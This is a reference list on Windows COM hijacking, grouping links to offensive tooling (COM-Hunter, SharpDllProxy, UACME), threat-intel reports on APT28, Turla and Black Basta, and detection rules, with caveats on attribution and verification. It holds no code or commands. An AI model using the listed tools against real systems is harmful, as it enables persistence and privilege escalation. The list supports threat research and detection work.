- TrustedSec CS-Situational-Awareness-BOF — https://github.com/trustedsec/CS-Situational-Awareness-BOF
Tooling
- COM-Hunter — https://github.com/nickvourd/COM-Hunter
- SharpDllProxy — https://github.com/Flangvik/SharpDllProxy
- hfiref0x/UACME — https://github.com/hfiref0x/UACME
- Atomic Red Team T1546.015 — https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1546.015/T1546.015.md
- EVTX-ATTACK-SAMPLES — https://github.com/sbousseaden/EVTX-ATTACK-SAMPLES
In-the-wild / vendor intel
- Cisco Talos: "Cyber Conflict" Decoy Document (Sednit; MMDeviceEnumerator) — https://blog.talosintelligence.com/cyber-conflict-decoy-document/
- ESET: Turla Outlook backdoor — https://www.welivesecurity.com/2018/08/22/turla-unique-outlook-backdoor/ · https://www.welivesecurity.com/wp-content/uploads/2018/08/Eset-Turla-Outlook-Backdoor.pdf
- ReliaQuest: Hijacked and Hidden (TypeLib hijack, Black Basta affiliate) — https://reliaquest.com/blog/threat-spotlight-hijacked-and-hidden-new-backdoor-and-persistence-technique/
- FireEye/Mandiant: UNC2529 Triple Double — https://www.fireeye.com/blog/threat-research/2021/05/unc2529-triple-double-trifecta-phishing-campaign.html
- VirusTotal: COM Objects Hijacking (Mar 2024) — https://blog.virustotal.com/2024/03/com-objects-hijacking.html
- NCSC (UK): MAR Authentic Antics — https://www.ncsc.gov.uk/static-assets/documents/malware-analysis-reports/authentic-antics/ncsc-mar-authentic_antics.pdf
- HackTricks: COM Hijacking — https://hacktricks.wiki/en/windows-hardening/windows-local-privilege-escalation/com-hijacking.html
Detection
- SigmaHQ: registry_set_persistence_com_key_linking.yml — https://github.com/SigmaHQ/sigma/blob/master/rules/windows/registry/registry_set/registry_set_persistence_com_key_linking.yml
- SigmaHQ: registry_set_treatas_persistence.yml — https://github.com/SigmaHQ/sigma/blob/master/rules/windows/registry/registry_set/registry_set_treatas_persistence.yml
- SigmaHQ registry_set directory — https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/
- detection.fyi Sigma index — https://detection.fyi/
- Elastic: persistence_suspicious_com_hijack_registry — https://github.com/elastic/detection-rules/blob/main/rules/windows/persistence_suspicious_com_hijack_registry.toml
- Splunk: Eventvwr UAC Bypass — https://research.splunk.com/endpoint/9cf8fe08-7ad8-11eb-9819-acde48001122/
- KnowYourAdversary #111 (Black Basta TypeLib hunting) — https://www.knowyouradversary.ru/2025/04/
- HexaStrike: COM Hijacking from a Defender's Perspective — https://hexastrike.com/resources/blog/dfir/com-hijacking-from-a-defenders-perspective/
- SwiftOnSecurity sysmon-config — https://github.com/SwiftOnSecurity/sysmon-config
Caveats: (1) G-Data 2014 author name and Hexacorn Part 84 body not re-fetched (URLs/titles verified via multiple citations). (2) First CAccPropServicesClass/MMDeviceEnumerator write-up attribution fuzzy — bohops + 2019 Chinese blogs are verifiable; ITW (APT28/Talos) solid. (3) {01575CFE-...}, {AB8902B4-...} are training examples (RTO/COM-Hunter); friendly names unconfirmed. (4) "TeaTimer" has no COM persistence linkage (negative result). (5) CrowdStrike ClickOnce hardcoded CLSID value not printed in accessible excerpt — pull full blog for slides.